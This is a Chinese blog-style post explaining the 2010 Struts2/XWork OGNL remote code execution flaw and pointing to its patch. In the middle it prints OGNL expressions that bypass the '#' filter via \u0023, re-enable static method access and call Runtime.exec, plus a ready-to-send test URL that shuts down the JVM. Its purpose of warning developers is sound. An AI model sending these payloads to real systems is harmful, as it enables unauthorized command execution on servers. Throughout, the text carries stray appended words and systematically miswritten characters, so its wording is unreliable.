1.exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞,此漏洞危害之大,可謂百發百中,直接root,只要採用了Struts2和webwork框架的系統(對於webwork的版本,不太清楚,我這裏沒環境對其一一測試,這裏有二者關係的介紹),基本上無一倖免。java
2.昨天在接到朋友的提醒後,迅速將公司的一些使用此框架開發的項目漏洞修補了,我想大部分大公司的也在第一時間修補的差很少了,可是仍有不少公司,沒有安全團隊的,估計被黑了還被矇在鼓裏,感受有必要在這裏提醒下使用struts開發的朋友們,由於畢竟本身當初也作過java的開發。web
3.漏洞成因在漏洞的poc中已經說的很詳細了,可是都是英文的,並且對於Java不瞭解的人,可能會看得一頭霧水,這裏簡單分析下,其實也是將原文粗略的翻譯下了,對於其中名詞不熟悉的請Google之:apache
Struts2的核心是使用的webwork框架,而webwork又是使用的XWork來處理action的,而且經過調用底層的
getter/setter方法來處理http的參數,它將每一個http參數聲明爲一個ONGL(這裏是ONGL的介紹)語句。當咱們提交一個http參數:安全
user.address.city=Bishkek&user['favoriteDrink']=kumys
服務器
ONGL將它轉換爲:
session
action.getUser().getAddress().setCity("Bishkek")
app
action.getUser().setFavoriteDrink("kumys")
框架
這是經過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用ValueStack.setValue()。dom
除了支持參數的設置和讀取,ONGL支持另外的一些功能:
ide
foo()
調用靜態方法:
@java.lang.System@exit(1)
類的調用:
new MyClass()
處理上下文變量:
#foo = new MyClass()
因爲ONGL的調用能夠經過http傳參來執行,爲了防止攻擊者以此來調用任意方法,Xwork設置了兩個參數來進行防禦:
的屬性 'xwork.MethodAccessor.denyMethodExecution'(默認爲真)
'allowStaticMethodAccess'(默認爲假)
爲方便開發人員常常訪問各類對象,XWork定義了不少預約義的上下文變量:
#application
#session
#request
#parameters
#attr
這些變量表明各類服務器變量。爲了防止攻擊者篡改服務器端對象,XWork的ParametersInterceptor是不容許參數名稱中有#的,大約在一年前,漏洞發現者找到了一種方法來繞過這種保護(XW-641
),即經過java的unicode字符串來表示:\u0023。當時感受經過一種方法
(OGNL value stack clearing)
來修補是不夠的,可是沒有更多的時間來研究。
今年早些時候,漏洞發現者又發現了一些Xwork
的一些預約義的變量:
使用XW-641
所描述的方法,漏洞發現者經過修改一些值可以調用被保護的Java代碼,而且執行任意的Java代碼:
1 |
#_memberAccess[ 'allowStaticMethodAccess' ] = true |
2 |
#foo = new java .lang.Boolean( "false" ) |
3 |
#context[ 'xwork.MethodAccessor.denyMethodExecution' ] = #foo |
4 |
#rt = @java .lang.Runtime @getRuntime () |
5 |
#rt.exec( 'mkdir /tmp/PWNED' ) |
事實證實經過構造http請求可以調用該OGNL的表達式。這個漏洞的PoC於2010年7月12日發佈。若是想測試你的應用程序是否有漏洞,可使用下面的測試代碼,將會調用:
java.lang.Runtime.getRuntime().exit(1)
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
4.如何修補此漏洞:
目前官方已出了補丁:http://svn.apache.org/viewvc?view=revision&revision=956389
5.快寫完了,發現綠盟也將這個漏洞中文說明也發出來了,不過標題是:XWork ParameterInterceptor類繞過安全限制漏洞
嚴格點說,這個應該是XWork的漏洞,誰讓Struts2用的是人家的核心呢?:)。